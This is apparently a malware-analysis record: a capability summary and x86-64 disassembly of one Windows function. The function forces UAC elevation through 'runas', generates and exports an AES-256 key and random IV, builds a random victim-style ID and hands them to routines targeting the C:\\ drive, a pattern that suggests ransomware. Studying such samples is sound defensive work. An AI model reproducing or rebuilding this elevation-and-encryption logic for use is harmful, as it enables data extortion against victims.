Function at 0x140001d20
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edi, edi
mov word [rbp - 0xc], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], edi
mov r14d, 0x20
mov dword [rsp + 0x40], edi
mov r9d, 0x220
mov dword [rsp + 0x38], edi
mov r8d, r14d
mov dword [rsp + 0x30], edi
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x10], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001db7
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], edi
jne 0x140001e33
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001e33
xor eax, eax
mov dword [rbp - 0x80], 0x70
vpxor xmm0, xmm0, xmm0
vmovups zmmword [rbp - 0x7c], zmm0
mov qword [rbp - 0x1c], rax
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x14], eax
lea rax, str.runas
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x90]
mov qword [rbp - 0x68], rax
vmovups ymmword [rbp - 0x3c], ymm0
mov qword [rbp - 0x78], rdi
mov dword [rbp - 0x50], edi
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001e33
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x2d0], rbx
lea rcx, [rbp - 0x10]
mov ebx, 0x2c
mov qword [rsp + 0x2d8], rsi
mov r9d, 0x18
mov dword [rsp + 0x70], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, 0x10
test eax, eax
je 0x140001f07
mov rcx, qword [rbp - 0x10]
lea r9, [rsp + 0x68]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x140001efb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp + 8]
xor edx, edx
mov r8d, 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x140001ef0
vmovups ymm0, ymmword [rbp + 0x14]
vmovups ymmword [rbp + 0x38], ymm0
lea rax, [rbp + 8]
nop
mov byte [rax], dil
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001ed0
mov rcx, qword [rbp - 0x10]
lea r8, [rbp - 8]
mov edx, esi
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [0x140003740]
lea rdx, [0x140003748]
vmovups ymm0, ymmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov dword [rbp + 0x28], eax
lea rcx, [rsp + 0x68]
movzx eax, byte [0x140003744]
xor r9d, r9d
mov byte [rbp + 0x2c], al
xor r8d, r8d
vmovups ymmword [rbp + 8], ymm0
vzeroupper
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x140001feb
mov qword [rsp + 0x2e0], r15
mov rbx, rdi
movabs r15, 0xe38e38e38e38e38f
nop
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov r8d, 1
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140001fd6
movzx eax, byte [rsp + 0x60]
cmp al, 0xfc
jae 0x140001f60
mov ecx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rbp + rcx + 8]
mov byte [rbp + rbx + 0x58], al
inc rbx
inc edi
mov eax, edi
and eax, 0x80000003
jge 0x140001fbb
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140001fcd
cmp rbx, 0x27
jge 0x140001fcd
mov byte [rbp + rbx + 0x58], 0x2d
inc rbx
cmp edi, 0x21
jl 0x140001f60
mov byte [rbp + 0x7f], 0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov r15, qword [rsp + 0x2e0]
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
call fcn.1400010c0
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
call fcn.1400019d0
lea r9, [rbp + 0x58]
mov dword [rsp + 0x74], 0x5c3a43
lea r8, [rbp - 8]
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x74]
call fcn.140001780
mov rbx, qword [rsp + 0x2d0]
lea rax, [rbp + 0x38]
nop word [rax + rax]
mov byte [rax], 0
lea rax, [rax + 1]
sub r14, 1
jne 0x140002040
lea rax, [rbp - 8]
mov byte [rax], 0
lea rax, [rax + 1]
sub rsi, 1
jne 0x140002051
mov rsi, qword [rsp + 0x2d8]
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400020a0
add rsp, 0x2b0
pop r14
pop rdi
pop rbp
ret